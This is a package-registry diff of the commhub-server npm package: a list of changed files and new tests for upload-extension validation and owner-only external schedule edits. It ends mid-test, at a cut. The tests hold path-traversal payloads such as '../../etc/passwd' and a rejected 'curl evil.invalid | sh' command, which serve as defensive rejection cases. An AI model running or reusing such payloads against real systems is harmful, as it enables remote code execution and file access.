@sleep2agi/commhub-server 0.9.0-preview.4 → 0.9.0-preview.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (122) hide show
  1. package/README.md +125 -7
  2. package/bin/commhub.ts +10 -2
  3. package/package.json +5 -5
  4. package/src/ack-create-request-transport.test.ts +159 -0
  5. package/src/ack-create-request.test.ts +331 -0
  6. package/src/admin-networks-http.test.ts +84 -0
  7. package/src/alias-filter.test.ts +72 -0
  8. package/src/alias-filter.ts +32 -0
  9. package/src/api-host-supervisors-fallback.test.ts +267 -0
  10. package/src/api-nodes-shape.test.ts +107 -13
  11. package/src/auth.ts +93 -14
  12. package/src/avatar-validate.test.ts +163 -0
  13. package/src/avatar-validate.ts +103 -0
  14. package/src/boot-side-effect.test.ts +124 -0
  15. package/src/config-apply-sec1.test.ts +107 -0
  16. package/src/config-apply-validate.test.ts +92 -0
  17. package/src/config-apply-validate.ts +81 -3
  18. package/src/create-node-tool-schema.test.ts +39 -0
  19. package/src/create-node-validate.test.ts +80 -1
  20. package/src/create-node-validate.ts +49 -5
  21. package/src/create-node.ts +51 -1
  22. package/src/dashboard-slash-routing-http.test.ts +103 -0
  23. package/src/db-adapter-guard.test.ts +85 -0
  24. package/src/db-adapter.ts +64 -23
  25. package/src/db-timestamp.test.ts +38 -0
  26. package/src/db-timestamp.ts +15 -0
  27. package/src/db.ts +654 -33
  28. package/src/delivered-without-push.test.ts +140 -0
  29. package/src/desktop-message-seam.test.ts +150 -0
  30. package/src/desktop-message.test.ts +368 -0
  31. package/src/ext-token-shared.test.ts +60 -0
  32. package/src/ext-validation-regression.test.ts +131 -0
  33. package/src/external-schedule-edits-http.test.ts +316 -0
  34. package/src/external-schedule-edits.ts +314 -0
  35. package/src/file-download-authz-dev-open.test.ts +135 -0
  36. package/src/file-download-authz.test.ts +403 -0
  37. package/src/file-download-date-bucket.test.ts +436 -0
  38. package/src/file-network-scope-dev-open.test.ts +97 -0
  39. package/src/file-network-scope.test.ts +731 -0
  40. package/src/health-redaction.test.ts +637 -0
  41. package/src/inbox-count-sse.test.ts +310 -0
  42. package/src/inbox-count.ts +29 -0
  43. package/src/index.ts +15 -2187
  44. package/src/lifecycle-guard.ts +50 -0
  45. package/src/list-host-supervisors.test.ts +314 -0
  46. package/src/mcp-write-network-resolution.test.ts +429 -0
  47. package/src/network-name-http.test.ts +71 -0
  48. package/src/network-scope.ts +101 -0
  49. package/src/node-attrs-validate.ts +88 -0
  50. package/src/node-attrs.test.ts +213 -0
  51. package/src/node-id-alias.test.ts +147 -0
  52. package/src/node-lifecycle-controllable.test.ts +64 -0
  53. package/src/node-lifecycle-controllable.ts +51 -0
  54. package/src/observer-avatar-http.test.ts +424 -0
  55. package/src/observer-push.test.ts +252 -0
  56. package/src/package-version-consistency.test.ts +25 -0
  57. package/src/peer-reply-atomic.test.ts +455 -0
  58. package/src/peer-reply-capability.test.ts +70 -0
  59. package/src/probe-validate.test.ts +221 -0
  60. package/src/probe-validate.ts +104 -0
  61. package/src/probe.test.ts +80 -0
  62. package/src/probe.ts +200 -0
  63. package/src/push.ts +163 -7
  64. package/src/redact-tokens.test.ts +65 -0
  65. package/src/redact-tokens.ts +40 -0
  66. package/src/reply-target-derivation.test.ts +96 -0
  67. package/src/require-explicit-test-db.ts +9 -0
  68. package/src/resolve-port.test.ts +57 -0
  69. package/src/resolve-port.ts +44 -0
  70. package/src/response-charset.test.ts +130 -0
  71. package/src/rest-explicit-columns-http.test.ts +212 -0
  72. package/src/rest-identity.test.ts +129 -0
  73. package/src/rest-identity.ts +100 -0
  74. package/src/rest-projections.ts +67 -0
  75. package/src/rest-write-network-resolution.test.ts +133 -0
  76. package/src/runtime-label.test.ts +22 -0
  77. package/src/runtime-label.ts +21 -0
  78. package/src/scheduled-run-terminal.test.ts +268 -0
  79. package/src/scheduled-tasks-http.test.ts +479 -0
  80. package/src/scheduled-tasks.ts +549 -0
  81. package/src/send-reply-agent-warning.test.ts +202 -0
  82. package/src/send-reply-alias-optional.test.ts +131 -0
  83. package/src/send-reply-attachments.test.ts +437 -0
  84. package/src/server.ts +3664 -0
  85. package/src/shared/external-schedule-contract.ts +60 -0
  86. package/src/shared/probe-host-allowlist-drift.test.ts +54 -0
  87. package/src/shared/probe-host-allowlist.ts +128 -0
  88. package/src/side-thread-command-transport.test.ts +302 -0
  89. package/src/side-thread-command-transport.ts +318 -0
  90. package/src/side-thread-http-integration.test.ts +229 -0
  91. package/src/side-thread-http.ts +504 -0
  92. package/src/side-thread-production.test.ts +72 -0
  93. package/src/side-thread-production.ts +118 -0
  94. package/src/side-thread.test.ts +1067 -0
  95. package/src/side-thread.ts +2495 -0
  96. package/src/skillhub-http.test.ts +88 -0
  97. package/src/start-node.test.ts +109 -0
  98. package/src/stop-delete-node.test.ts +952 -0
  99. package/src/task-auth-origin-http.test.ts +87 -0
  100. package/src/task-auth-origin.test.ts +24 -0
  101. package/src/task-auth-origin.ts +7 -0
  102. package/src/task-consumption.test.ts +471 -0
  103. package/src/task-diagnostic-http.test.ts +145 -0
  104. package/src/task-diagnostic.test.ts +115 -0
  105. package/src/task-diagnostic.ts +118 -0
  106. package/src/task-idempotency-mcp.test.ts +142 -0
  107. package/src/task-idempotency.test.ts +60 -0
  108. package/src/task-idempotency.ts +75 -0
  109. package/src/task-lifecycle-watcher.test.ts +200 -0
  110. package/src/task-lifecycle-watcher.ts +49 -0
  111. package/src/task-network-resolution-http.test.ts +137 -0
  112. package/src/tasks-pagination-http.test.ts +137 -0
  113. package/src/tools.ts +2994 -191
  114. package/src/update-provider.test.ts +234 -0
  115. package/src/upload-early-reject-guard.test.ts +155 -0
  116. package/src/uploads-http.test.ts +92 -14
  117. package/src/uploads.test.ts +66 -0
  118. package/src/uploads.ts +130 -5
  119. package/src/user-inbox-read-http.test.ts +220 -0
  120. package/src/user-inbox-schema.test.ts +53 -0
  121. package/src/vault.test.ts +200 -0
  122. package/src/vault.ts +156 -0
@@ -0,0 +1,60 @@
1
+ import { describe, expect, test } from "bun:test";
2
+ import {
3
+ buildStoragePath,
4
+ pathForExistingBlob,
5
+ validateIndexEntry,
6
+ } from "./uploads.js";
7
+
8
+ const fileId = "0123456789abcdef0123456789abcdef";
9
+ const dateBucket = "2026-08-09";
10
+ const uploadsRoot = "/srv/uploads";
11
+
12
+ const malicious = [
13
+ "../x",
14
+ "/abs/x",
15
+ ".png/../../y",
16
+ ".p ng",
17
+ ".p\0ng",
18
+ ".\\..\\x",
19
+ "." + "a".repeat(17),
20
+ ".tar.gz",
21
+ ];
22
+
23
+ const legal = ["", ".png", ".PNG", ".mp4", "." + "a".repeat(16)];
24
+
25
+ describe("#527 shared extension-token invariant", () => {
26
+ test("new-upload path rejects every malformed token and accepts the shared legal set", () => {
27
+ for (const ext of malicious) {
28
+ expect(() => buildStoragePath(fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
29
+ }
30
+ for (const ext of legal) {
31
+ expect(buildStoragePath(fileId, ext, { uploadsRoot }).ext).toBe(ext);
32
+ }
33
+ });
34
+
35
+ test("existing-blob path rejects every malformed token and accepts the shared legal set", () => {
36
+ for (const ext of malicious) {
37
+ expect(() => pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
38
+ }
39
+ for (const ext of legal) {
40
+ expect(pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot }).ext).toBe(ext);
41
+ }
42
+ });
43
+
44
+ test("stored-index gate rejects every malformed token and accepts the shared legal set", () => {
45
+ for (const ext of malicious) {
46
+ expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
47
+ }
48
+ for (const ext of legal) {
49
+ expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(true);
50
+ }
51
+ });
52
+
53
+ test("all three boundaries fail closed on non-string runtime values", () => {
54
+ for (const ext of [undefined, null, 7, {}, []]) {
55
+ expect(() => buildStoragePath(fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
56
+ expect(() => pathForExistingBlob(dateBucket, fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
57
+ expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
58
+ }
59
+ });
60
+ });
@@ -0,0 +1,131 @@
1
+ // Task #25 — regression pins for ext validation in validateIndexEntry.
2
+ //
3
+ // 🔴 SCOPE: this suite exercises the stored-index boundary through
4
+ // `validateIndexEntry`. Issue #527 removed the three independent copies
5
+ // of the stored extension-token grammar: buildStoragePath,
6
+ // pathForExistingBlob and validateIndexEntry now use one shared private
7
+ // validator. `ext-token-shared.test.ts` separately pins all three call
8
+ // sites. sanitizeExt remains intentionally independent because it parses
9
+ // a client filename rather than validating an already-extracted token.
10
+ //
11
+ // Background (通信龙 d01bb8ce): the stored extension-token grammar
12
+ // `/^\.[A-Za-z0-9]{1,16}$/` correctly rejects 11 known malicious ext
13
+ // values (path-escape, traversal, absolute paths, doubles, NUL bytes,
14
+ // backslash forms, over-length, whitespace). Verified via real-run on
15
+ // origin/main by lead — 11/11 malicious values → false.
16
+ //
17
+ // But NO test locked that behavior. Anyone who widens the regex in the
18
+ // future (accidentally or on purpose) would not hit a red test — the
19
+ // live protection would degrade silently. This suite pins current
20
+ // behavior in two directions:
21
+ //
22
+ // 1. SAFETY (欠修 direction) — 11 malicious values → false, one row
23
+ // per value with the exact literal. If regex is widened to accept
24
+ // any of them, that row turns red.
25
+ // 2. NON-REGRESSION (过修 direction) — a set of common legitimate
26
+ // extensions → true. If regex is tightened to reject any of them
27
+ // (e.g. someone locks down to a whitelist), that row turns red.
28
+ //
29
+ // Witnessed-red for the SAFETY rows: temporarily widen the regex to
30
+ // `/./` (or comment it out) in validateIndexEntry, run this suite,
31
+ // confirm all 11 malicious rows turn red, then revert. The mutation
32
+ // itself is not committed; the assertion IS the mutation-red proof
33
+ // for the reader. Recording the mutation output in the followup PR
34
+ // body (per Constraint 3 discipline established in #503).
35
+ //
36
+ // Pure unit test — no server setup, no DB, no filesystem. The regex
37
+ // lives in a pure function, so the guard is testable at that level.
38
+
39
+ import { describe, expect, test } from "bun:test";
40
+ import { validateIndexEntry } from "./uploads.js";
41
+
42
+ // A structurally-valid base entry — file_id / date_bucket / size all
43
+ // pass their own checks — so `ext` is the only field a test row varies.
44
+ // This isolates the ext regex as the deciding factor.
45
+ const validBase = {
46
+ file_id: "0123456789abcdef0123456789abcdef",
47
+ date_bucket: "2026-07-30",
48
+ size: 0,
49
+ };
50
+
51
+ describe("Task #25 (#503 followup) — ext validation regression pins", () => {
52
+ describe("SAFETY: the 11 malicious ext values from lead d01bb8ce all return false", () => {
53
+ // Each row uses the exact literal from lead's verification list so
54
+ // a widening regex catches on the same value the manual audit did.
55
+ const malicious: Array<{ label: string; ext: string }> = [
56
+ { label: "path-escape prefix", ext: "../x" },
57
+ { label: "deep traversal to /etc", ext: "../../etc/passwd" },
58
+ { label: "absolute path", ext: "/abs/x" },
59
+ { label: "double-dot alone", ext: ".." },
60
+ { label: "single-dot alone", ext: "." },
61
+ { label: "chained after legit prefix", ext: ".png/../../y" },
62
+ { label: "embedded whitespace", ext: ".p ng" },
63
+ { label: "over-length (>16 chars)", ext: "." + "a".repeat(17) },
64
+ { label: "embedded NUL byte", ext: ".p\x00ng" },
65
+ { label: "backslash traversal", ext: ".\\..\\x" },
66
+ { label: "double-backslash prefix", ext: "..\\x" },
67
+ ];
68
+ for (const { label, ext } of malicious) {
69
+ test(`rejects: ${label} — ext=${JSON.stringify(ext)}`, () => {
70
+ expect(validateIndexEntry({ ...validBase, ext })).toBe(false);
71
+ });
72
+ }
73
+
74
+ test("precondition: 11 malicious cases enumerated (defends against silent test-shrink)", () => {
75
+ // If someone deletes rows from the malicious list, this fails
76
+ // instead of the deletion silently narrowing the guard. Number
77
+ // matches lead's verification list — bump only when lead adds a
78
+ // case and confirms it via real-run.
79
+ expect(malicious.length).toBe(11);
80
+ });
81
+ });
82
+
83
+ describe("NON-REGRESSION: common legitimate extensions all return true (防过修)", () => {
84
+ // These are the extensions the live upload path actually produces
85
+ // via sanitizeExt / mime-typed multipart uploads. If someone
86
+ // tightens the regex to a stricter whitelist, any of these turning
87
+ // red flags a break in a normal user path.
88
+ const legal = [".png", ".pdf", ".pptx", ".jpg", ".jpeg", ".txt", ".mp4", ".zip", ".json", ".md"];
89
+ for (const ext of legal) {
90
+ test(`accepts: ext=${JSON.stringify(ext)}`, () => {
91
+ expect(validateIndexEntry({ ...validBase, ext })).toBe(true);
92
+ });
93
+ }
94
+
95
+ test("empty ext is accepted (file with no extension is a legitimate upload)", () => {
96
+ expect(validateIndexEntry({ ...validBase, ext: "" })).toBe(true);
97
+ });
98
+
99
+ test("precondition: at least 10 legitimate ext values pinned", () => {
100
+ // Same discipline as the malicious side — reject silent shrink.
101
+ expect(legal.length).toBeGreaterThanOrEqual(10);
102
+ });
103
+ });
104
+
105
+ describe("regex shape assumptions (documented, not enforced by the function)", () => {
106
+ // These rows document facts the current regex enforces beyond the
107
+ // 11 malicious literals. They are close to the boundary and would
108
+ // be the first things to move if someone reworked the regex.
109
+ test("upper-case extensions accepted (regex is case-insensitive by [A-Za-z])", () => {
110
+ expect(validateIndexEntry({ ...validBase, ext: ".PNG" })).toBe(true);
111
+ });
112
+ test("mixed-case extensions accepted", () => {
113
+ expect(validateIndexEntry({ ...validBase, ext: ".PdF" })).toBe(true);
114
+ });
115
+ test("digits after dot accepted (e.g. .mp4, .mp3)", () => {
116
+ expect(validateIndexEntry({ ...validBase, ext: ".mp4" })).toBe(true);
117
+ });
118
+ test("exactly 16 chars after dot is accepted (upper bound of {1,16})", () => {
119
+ expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(16) })).toBe(true);
120
+ });
121
+ test("exactly 17 chars after dot is rejected (immediately past upper bound)", () => {
122
+ expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(17) })).toBe(false);
123
+ });
124
+ test("compound extensions like .tar.gz are rejected (contains inner dot)", () => {
125
+ // Documented: the current regex does not support compound
126
+ // extensions. If we ever want .tar.gz support, it needs its
127
+ // own explicit design + this row updated with lead sign-off.
128
+ expect(validateIndexEntry({ ...validBase, ext: ".tar.gz" })).toBe(false);
129
+ });
130
+ });
131
+ });
@@ -0,0 +1,316 @@
1
+ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
2
+ import { mkdtempSync, rmSync } from "node:fs";
3
+ import { tmpdir } from "node:os";
4
+ import { join } from "node:path";
5
+ import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
6
+ import { db } from "./db.js";
7
+ import { upsertNodeWithSec1Guard } from "./tools.js";
8
+
9
+ const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
10
+ if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
11
+
12
+ const stamp = `${process.pid}_${Date.now()}`;
13
+ const nodeId = `n_b4_${stamp}`;
14
+ const alias = `b4-node-${stamp}`;
15
+ const scheduleId = "managed-news-pull";
16
+ let server: any;
17
+ let base = "";
18
+ let networkId = "";
19
+ let adminToken = "";
20
+ let ownerToken = "";
21
+ let memberToken = "";
22
+ let nodeToken = "";
23
+ let foreignNodeToken = "";
24
+ let nodeTokenId = "";
25
+ let ownerId = "";
26
+ let memberId = "";
27
+
28
+ async function api(token: string, path: string, init?: RequestInit) {
29
+ const response = await fetch(`${base}${path}`, {
30
+ ...init,
31
+ headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
32
+ });
33
+ return { status: response.status, body: await response.json() as any };
34
+ }
35
+
36
+ function snapshot(revision: number, extra: Record<string, unknown> = {}) {
37
+ return JSON.stringify({
38
+ observed_at: new Date().toISOString(),
39
+ schedules: [{
40
+ id: scheduleId,
41
+ name: "Pull X news",
42
+ kind: "cron",
43
+ frequency: "0 */6 * * *",
44
+ status: "active",
45
+ enabled: true,
46
+ editable: true,
47
+ revision,
48
+ log_ref: "grok-news.log",
49
+ ...extra,
50
+ }],
51
+ });
52
+ }
53
+
54
+ beforeAll(async () => {
55
+ const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
56
+ const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
57
+ const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
58
+ expect(admin.ok && owner.ok && member.ok).toBe(true);
59
+ adminToken = admin.token!;
60
+ ownerToken = owner.token!;
61
+ memberToken = member.token!;
62
+ networkId = admin.network_id!;
63
+ const adminId = admin.user!.user_id;
64
+ ownerId = owner.user!.user_id;
65
+ memberId = member.user!.user_id;
66
+ expect(addNetworkMember(networkId, ownerId, "member", adminId).ok).toBe(true);
67
+ expect(addNetworkMember(networkId, memberId, "member", adminId).ok).toBe(true);
68
+
69
+ const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
70
+ expect(minted.ok).toBe(true);
71
+ nodeToken = minted.token!;
72
+ nodeTokenId = minted.token_id!;
73
+ const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
74
+ expect(foreign.ok).toBe(true);
75
+ foreignNodeToken = foreign.token!;
76
+
77
+ db.run(
78
+ `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
79
+ VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
80
+ [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
81
+ );
82
+
83
+ const mod: any = await import("./server.js");
84
+ server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
85
+ base = `http://127.0.0.1:${server.port}`;
86
+ });
87
+
88
+ afterAll(() => {
89
+ try { server?.stop?.(true); } catch {}
90
+ try { rmSync(dir, { recursive: true, force: true }); } catch {}
91
+ });
92
+
93
+ describe("RFC-036 exact-owner external schedule edit intents", () => {
94
+ test("ownership is pinned at node-token mint and cannot be stolen", () => {
95
+ const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
96
+ expect(node.owner_user_id).toBe(ownerId);
97
+ expect(node.network_id).toBe(networkId);
98
+ const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
99
+ expect(ownerAudit).toBeTruthy();
100
+ expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
101
+ const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
102
+ expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
103
+
104
+ const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
105
+ expect(legacy.ok).toBe(true);
106
+ expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
107
+ });
108
+
109
+ test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
110
+ const httpNodeId = `n_b4_http_${stamp}`;
111
+ const minted = await api(ownerToken, "/api/auth/node-token", {
112
+ method: "POST",
113
+ body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
114
+ });
115
+ expect(minted.status).toBe(200);
116
+ expect(minted.body.node_id).toBe(httpNodeId);
117
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
118
+ const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
119
+ expect(resolved.bound_node_id).toBe(httpNodeId);
120
+ });
121
+
122
+ test("report_status verifies an owner binding but never first-claims a legacy node", () => {
123
+ expect(upsertNodeWithSec1Guard({
124
+ node_id: nodeId,
125
+ callerNetworkId: networkId,
126
+ callerUserId: ownerId,
127
+ callerTokenId: nodeTokenId,
128
+ alias,
129
+ runtime: "codex-app-server",
130
+ }).result).toBe("updated");
131
+ const wrongOwner = upsertNodeWithSec1Guard({
132
+ node_id: nodeId,
133
+ callerNetworkId: networkId,
134
+ callerUserId: memberId,
135
+ callerTokenId: nodeTokenId,
136
+ alias,
137
+ });
138
+ expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
139
+
140
+ const legacyNodeId = `n_b4_legacy_${stamp}`;
141
+ db.run(
142
+ "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
143
+ [legacyNodeId, `${alias}-legacy`, networkId],
144
+ );
145
+ expect(upsertNodeWithSec1Guard({
146
+ node_id: legacyNodeId,
147
+ callerNetworkId: networkId,
148
+ callerUserId: ownerId,
149
+ alias: `${alias}-legacy`,
150
+ runtime: "claude-code-cli",
151
+ }).result).toBe("updated");
152
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
153
+ const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
154
+ expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
155
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
156
+ });
157
+
158
+ test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
159
+ const request = {
160
+ network_id: networkId,
161
+ schedule_id: scheduleId,
162
+ base_revision: 7,
163
+ patch: { enabled: false },
164
+ };
165
+ for (const token of [adminToken, memberToken, nodeToken]) {
166
+ const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
167
+ expect(denied.status).toBe(403);
168
+ }
169
+ const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
170
+ method: "POST",
171
+ body: JSON.stringify({ ...request, owner_user_id: ownerId }),
172
+ });
173
+ expect(forged.status).toBe(400);
174
+ expect(forged.body.error).toBe("invalid_request");
175
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
176
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
177
+ });
178
+
179
+ test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
180
+ const invalidPatches = [
181
+ { command: "curl evil.invalid | sh" },
182
+ { path: "/etc/crontab" },
183
+ { env: { SECRET: "value" } },
184
+ { cron: "@reboot" },
185
+ { cron: "0 0 * * * root" },
186
+ { cron: "0 0 * * *\n* * * * *" },
187
+ { cron: "61 0 * * *" },
188
+ {},
189
+ ];
190
+ for (const patch of invalidPatches) {
191
+ const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
192
+ method: "POST",
193
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
194
+ });
195
+ expect(denied.status).toBe(400);
196
+ }
197
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
198
+ });
199
+
200
+ test("concurrent owner requests create exactly one opaque pending intent", async () => {
201
+ const request = {
202
+ method: "POST",
203
+ body: JSON.stringify({
204
+ network_id: networkId,
205
+ schedule_id: scheduleId,
206
+ base_revision: 7,
207
+ patch: { cron: "0 */12 * * *", enabled: true },
208
+ }),
209
+ };
210
+ const responses = await Promise.all([
211
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
212
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
213
+ ]);
214
+ expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
215
+ const accepted = responses.find((value) => value.status === 202)!;
216
+ expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
217
+ expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
218
+ expect(accepted.body.intent.created_by_user).toBeUndefined();
219
+ expect(accepted.body.intent.created_by_token).toBeUndefined();
220
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
221
+
222
+ const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
223
+ expect(audit).toBeTruthy();
224
+ expect(audit.detail).not.toContain("curl");
225
+ expect(audit.detail).not.toContain("/etc/");
226
+ expect(audit.detail).not.toContain("utok_");
227
+ expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
228
+ });
229
+
230
+ test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
231
+ const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
232
+ expect(foreign.status).toBe(403);
233
+ expect(foreign.body.error).toBe("node_token_binding_required");
234
+
235
+ const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
236
+ expect(first.status).toBe(200);
237
+ expect(first.body.intent.status).toBe("delivered");
238
+ const intentId = first.body.intent.intent_id;
239
+ const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
240
+ expect(repeated.body.intent.intent_id).toBe(intentId);
241
+
242
+ const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
243
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
244
+ });
245
+ expect(wrongRevision.status).toBe(409);
246
+ expect(wrongRevision.body.error).toBe("invalid_result_revision");
247
+
248
+ const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
249
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
250
+ });
251
+ expect(applied.status).toBe(200);
252
+ expect(applied.body.intent.status).toBe("applied");
253
+ const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
254
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
255
+ });
256
+ expect(retried.status).toBe(200);
257
+ expect(retried.body.idempotent).toBe(true);
258
+ const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
259
+ method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
260
+ });
261
+ expect(contradictory.status).toBe(409);
262
+ expect(contradictory.body.error).toBe("intent_already_terminal");
263
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
264
+ });
265
+
266
+ test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
267
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
268
+ const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
269
+ method: "POST",
270
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
271
+ });
272
+ expect(created.status).toBe(202);
273
+ const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
274
+ expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
275
+ db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
276
+ const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
277
+ expect(afterExpiry.body.intent).toBeNull();
278
+ expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
279
+
280
+ const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
281
+ method: "POST",
282
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
283
+ });
284
+ expect(replacement.status).toBe(202);
285
+ db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
286
+ });
287
+
288
+ test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
289
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
290
+ const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
291
+ method: "POST",
292
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
293
+ });
294
+ expect(stale.status).toBe(409);
295
+ expect(stale.body.error).toBe("revision_conflict");
296
+
297
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
298
+ const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
299
+ method: "POST",
300
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
301
+ });
302
+ expect(readOnly.status).toBe(409);
303
+ expect(readOnly.body.error).toBe("schedule_read_only");
304
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
305
+ });
306
+
307
+ test("owner history exposes no identity, token, network, or command metadata", async () => {
308
+ const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
309
+ expect(listed.status).toBe(200);
310
+ expect(listed.body.edits).toHaveLength(1);
311
+ const serialized = JSON.stringify(listed.body);
312
+ for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
313
